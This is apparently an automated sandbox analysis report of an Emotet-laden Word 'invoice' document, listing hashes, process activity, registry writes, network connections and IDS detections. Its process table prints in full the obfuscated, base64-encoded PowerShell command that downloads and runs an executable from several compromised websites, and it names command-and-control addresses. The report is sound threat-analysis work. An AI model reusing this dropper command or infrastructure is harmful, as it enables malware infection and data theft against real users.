| File name: | 6173696X10122019XSJX9633.doc |
| Full analysis: | https://app.any.run/tasks/301fd924-8f16-4139-bec9-0ccc02088cba |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | October 14, 2019, 14:20:31 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: invoice, Subject: Berkshire, Author: Lourdes Leuschke, Keywords: Product, Comments: payment, Template: Normal.dotm, Last Saved By: Anthony Adams, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Oct 11 18:55:00 2019, Last Saved Time/Date: Fri Oct 11 18:55:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 169, Security: 0 |
| MD5: | BD065E10E65C6661208F4CAA58EDB8C3 |
| SHA1: | 8F8E36720E8A75E762ABEF9E006C9A39EE3684BD |
| SHA256: | 8778F1762ABF9B1DEAE0D8B76105946CB3A25332C6335DD7E4ACA5BBFF499116 |
| SSDEEP: | 6144:z1T1CzLkKUzS4nLx3BOVoOdr1YiZVTZyOZ0p:z1T1CzL9UG4t3BOVoOD79yO |
MALICIOUS
Application was dropped or rewritten from another process
- 818.exe (PID: 3788)
- 818.exe (PID: 1016)
- msptermsizes.exe (PID: 3924)
- msptermsizes.exe (PID: 3680)
Emotet process was detected
- 818.exe (PID: 1016)
EMOTET was detected
- msptermsizes.exe (PID: 3680)
Connects to CnC server
- msptermsizes.exe (PID: 3680)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 3348)
Creates files in the user directory
- powershell.exe (PID: 3348)
PowerShell script executed
- powershell.exe (PID: 3348)
Executable content was dropped or overwritten
- 818.exe (PID: 1016)
- powershell.exe (PID: 3348)
Starts itself from another location
- 818.exe (PID: 1016)
Connects to server without host name
- msptermsizes.exe (PID: 3680)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2536)
Creates files in the user directory
- WINWORD.EXE (PID: 2536)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | invoice |
|---|---|
| Subject: | Berkshire |
| Author: | Lourdes Leuschke |
| Keywords: | Product |
| Comments: | payment |
| Template: | Normal.dotm |
| LastModifiedBy: | Anthony Adams |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:10:11 17:55:00 |
| ModifyDate: | 2019:10:11 17:55:00 |
| Pages: | 1 |
| Words: | 29 |
| Characters: | 169 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | O'Connell Inc |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 197 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Williamson |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
43
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1016 | --9050bcfd | C:\Users\admin\818.exe | 818.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2536 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\6173696X10122019XSJX9633.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3348 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADkAMgAwADAAMAAwADAANwAwADcAeAA9ACcAYwB4AHgAMgAyADgAYwAwADQANwBiACcAOwAkAGIAMABjAGMANwA5AGMAMAAxADQANQBjACAAPQAgACcAOAAxADgAJwA7ACQAYwA2ADgANgA4AHgANwA5AHgAMAAyAD0AJwBiADEAMwA3ADYAYwBjAHgAMQAzAGMAMAAnADsAJAB4ADAAYgA4ADcANAAwADQAMwAwAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGIAMABjAGMANwA5AGMAMAAxADQANQBjACsAJwAuAGUAeABlACcAOwAkAGIAMgA5ADAAYgBjADkAYgBiAGMAeAA9ACcAYgBjADAAYgB4ADMAYgA2ADgAYgB4ADYAJwA7ACQAYgAzADMAYgA0ADEAOABjADEANwAyADAAMwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgBXAEUAQgBDAGwAaQBlAE4AVAA7ACQAeAAyAHgANgA0ADAAMAAwADYAMAAyADgAMAA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbABvAHUAcgBwAG8AbAB5AG0AZQByAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAzAGoAbwAxAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZgBpAGwAbQBzAHQAbwBrAGsALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AHQAMABmADMALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAaABvAG8AbABjAGwAdQBlAC4AYwBvAG0ALwA2ADYAZQBvAC8AeQBoAGYAbQB2ADQANQA4ADIALwAqAGgAdAB0AHAAOgAvAC8AcAByAGUAdwBlAG4AdABvAC4AYwBvAG0ALwBpAG0AYQBnAGUAdQBwAGwAbwBhAGQALwA3ADMAdQA1ADIANAA3AC8AKgBoAHQAdABwADoALwAvAGgAZQBwAHMAZQB2AC4AbgBlAHQALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA2AHcAOAB6AHgANQAvACcALgAiAFMAcABsAGAAaQB0ACIAKAAnACoAJwApADsAJAB4ADcAYwA1ADkANAAwAGIANQAzAGMAYwA9ACcAYgBjAGMANgBjADgAOQAwADEAMgBjADUAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAYgAwADUAMQBiADcAOQA3ADAAOAA2ACAAaQBuACAAJAB4ADIAeAA2ADQAMAAwADAANgAwADIAOAAwACkAewB0AHIAeQB7ACQAYgAzADMAYgA0ADEAOABjADEANwAyADAAMwAuACIARABgAG8AdwBgAE4AbABPAGEAYABEAGYAaQBMAGUAIgAoACQAYgAwADUAMQBiADcAOQA3ADAAOAA2ACwAIAAkAHgAMABiADgANwA0ADAANAAzADAAYwApADsAJAB4ADkAMgA0ADUANwA1ADAAOQAzAHgAOAAzAD0AJwBjADAANwAyAHgANgAwADUANAB4ADAAMQAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAHgAMABiADgANwA0ADAANAAzADAAYwApAC4AIgBMAGUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMgA3ADAAOAA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgBUACIAKAAkAHgAMABiADgANwA0ADAANAAzADAAYwApADsAJAB4ADEAYwAxADIANwAwADAAMgAyAHgAPQAnAHgAYgAwADQAMQA3ADIAMgAwADAAOAAyACcAOwBiAHIAZQBhAGsAOwAkAGMANAA3ADMAYwB4ADQAYgAwADYAYwA9ACcAeABiADIAMAB4ADMANQAyADIAYgA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAeAAyADMANQAwADAAMwAwADQAOQAwADAAPQAnAHgAMwA0ADEAMAA2ADEAYwA4ADAAOAAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3680 | --f91b2738 | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | msptermsizes.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3788 | "C:\Users\admin\818.exe" | C:\Users\admin\818.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3924 | "C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe" | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | — | 818.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
2 506
Read events
1 652
Write events
710
Delete events
144
Modification events
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | |dc |
Value: 7C646300E8090000010000000000000000000000 | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2536) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1330511934 | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
17
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA8FC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3348 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R18UJITCWUMUHKPJ5JQY.temp | — | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5D923E40.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\68DBCF8C.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5BB293E2.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\400F8E7B.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C41E7DF7.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2037E4E.wmf | wmf | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
3
DNS requests
1
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3680 | msptermsizes.exe | POST | — | 191.82.16.60:80 | http://191.82.16.60/sym/chunk/add/ | AR | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3348 | powershell.exe | 188.40.100.212:80 | colourpolymer.com | Hetzner Online GmbH | DE | suspicious |
3680 | msptermsizes.exe | 110.36.234.146:80 | — | National WiMAX/IMS environment | PK | malicious |
3680 | msptermsizes.exe | 191.82.16.60:80 | — | Telefonica de Argentina | AR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
colourpolymer.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3348 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3348 | powershell.exe | A Network Trojan was detected | AV INFO Suspicious EXE download from WordPress folder |
3348 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3348 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3680 | msptermsizes.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 2 |
3680 | msptermsizes.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin (Apr 2019) |
3680 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2 ETPRO signatures available at the full report